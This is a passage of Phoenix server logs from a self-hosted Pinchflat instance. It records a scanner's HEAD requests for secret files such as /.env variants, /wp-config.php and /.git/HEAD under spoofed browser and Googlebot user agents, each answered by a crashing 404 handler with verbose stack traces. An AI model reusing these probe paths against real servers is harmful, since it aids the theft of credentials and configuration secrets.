{"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3qDAhZleZQAAUhB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41312}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41312}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, (truncated) 02:30:23.715 [info] HEAD /.env.sample 02:30:23.709 [error] #PID<0.3610.0> running PinchflatWeb.Endpoint (connection #PID<0.3608.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.dist ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3608.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41340}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3610.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.dist", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3qVRSIzwoMAAUkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3608.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41340}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3608.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41340}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3610.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinch (truncated) 02:30:23.709 [error] #PID<0.3607.0> running PinchflatWeb.Endpoint (connection #PID<0.3606.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /wp-config.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3606.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41326}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3607.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/wp-config.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3qOzl4tvbYAAUjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3606.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41326}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3606.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41326}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromiu (truncated) 02:30:23.717 [debug] QUERY OK source="settings" db=1.0ms queue=0.6ms idle=8.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.711 [error] #PID<0.3611.0> running PinchflatWeb.Endpoint (connection #PID<0.3609.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3609.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41330}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3611.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3qXNTyoFfwAAUlB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3609.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41330}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3609.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41330}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3611.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, : (truncated) 02:30:23.718 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=9.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.718 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.712 [error] #PID<0.3613.0> running PinchflatWeb.Endpoint (connection #PID<0.3612.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3612.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41342}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3613.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", 